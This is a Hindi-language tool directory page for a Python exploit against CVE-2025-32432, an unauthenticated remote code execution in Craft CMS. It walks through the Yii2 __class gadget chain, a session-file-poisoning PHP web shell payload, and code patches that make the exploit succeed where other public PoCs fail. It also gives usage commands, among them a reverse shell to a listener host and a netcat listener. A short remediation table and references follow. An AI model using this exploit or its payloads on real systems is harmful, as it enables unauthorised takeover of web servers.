Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-32432 — CVE-2025-32432 के लिए Python exploit, जो Craft CMS में Yii2 __class injection के माध्यम से एक unauthenticated RCE है, जिसमें command execution और reverse shell support शामिल है। | Kitploit
उपकरण/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHube5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

CVE-2025-32432

CVE-2025-32432 के लिए Python exploit, जो Craft CMS में Yii2 __class injection के माध्यम से एक unauthenticated RCE है, जिसमें command execution और reverse shell support शामिल है।

रिपॉजिटरी देखें
8घं 8मि पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2025-32432 — Craft CMS <= 5.6.16 अनधिकृत RCE

गंभीरता: क्रिटिकल (CVSS 10.0) प्रमाणीकरण आवश्यक: कोई नहीं प्रभावित: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 पैच किया गया: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


मूल कारण

AssetsController::actionGenerateTransform() को allowAnonymous घोषित किया गया है, जिससे यह बिना प्रमाणीकरण के पहुँच योग्य हो जाता है। यह उपयोगकर्ता-नियंत्रित handle पैरामीटर को सीधे Yii::createObject() में पास करता है:

root@kitploit:~
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Yii का DI कंटेनर बिना किसी allow-list के दो विशेष array keys को संभालता है:

Keyव्यवहार
__classघोषित प्रकार के बजाय इस क्लास को इंस्टैंशिएट करें
__construct()इन मानों को कंस्ट्रक्टर आर्गुमेंट के रूप में पास करें

Gadget chain:

root@kitploit:~
handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

Session file poisoning इस लूप को पूरा करता है: PHP का session handler GET पैरामीटर मानों को /tmp/sess_<CraftSessionId> में यथावत लिखता है। <?=shell_exec($_GET['cmd']);exit;?> को query parameter के रूप में भेजने से एक ज्ञात, हमलावर-नियंत्रित पथ पर निष्पादन योग्य PHP स्थापित हो जाता है।


मौजूदा सार्वजनिक PoC क्यों विफल होते हैं

1. URL encoding PHP payload को नष्ट कर देता है

Python की requests लाइब्रेरी सर्वर तक पहुँचने से पहले <, >, ?, = को URL-encode कर देती है। Session file में %3C%3Fphp... (हानिरहित) संग्रहीत होता है, <?php... (निष्पादन योग्य) के बजाय।

root@kitploit:~
# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";

समाधान: HTTPConnectionPool._make_request को monkey-patch करें — TCP socket write से ठीक पहले का अंतिम बिंदु — और वहाँ urllib.parse.unquote() कॉल करें:

root@kitploit:~
def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before send
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. गलत session cookie नाम

Craft CMS CraftSessionId सेट करता है, PHPSESSID नहीं।

root@kitploit:~
# BROKEN
session_id = session.cookies.get("PHPSESSID")   # -> None

# FIXED
session_id = sess.cookies.get("CraftSessionId")

3. Trigger request पर CSRF token अनुपस्थित

Craft सभी non-anonymous POST actions पर CSRF tokens को मान्य करता है। Token छोड़ने पर 400 Bad Request होता है।

root@kitploit:~
# BROKEN
requests.post(url, json=payload)

# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

तुलना तालिका

समस्याLog-poisoning PoCsSession (गलत cookie)Session (CSRF रहित)यह PoC
URL encodingN/A (User-Agent)BROKENBROKENFIXED monkey-patched
Cookie नामN/ABROKEN PHPSESSIDBROKEN PHPSESSIDFIXED CraftSessionId
Trigger पर CSRFOKOKBROKENFIXED
Stale log exit;BROKENN/AN/AN/A
/cms prefix पर कार्य करता हैBROKENBROKENBROKENFIXED

उपयोग

root@kitploit:~
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a PHP reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)
root@kitploit:~
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

उपचार

कार्रवाईविवरण
Craft CMS अपग्रेड करें3.9.15 / 4.14.15 / 5.6.17 यह मान्य करता है कि handle ImageTransformerInterface को implement करता है
Yii2 अपग्रेड करें2.0.50 Component::__set में __class injection को अवरुद्ध करता है
WAF नियम/actions/assets/generate-transform पर request body में __class या __construct() को अवरुद्ध करें

संदर्भ

  • NVD - CVE-2025-32432
  • Craft CMS Security Advisory
  • Craft CMS Knowledge Base
  • SensePost Analysis
  • OPSWAT Technical Writeup

केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।

टूल डाउनलोड करें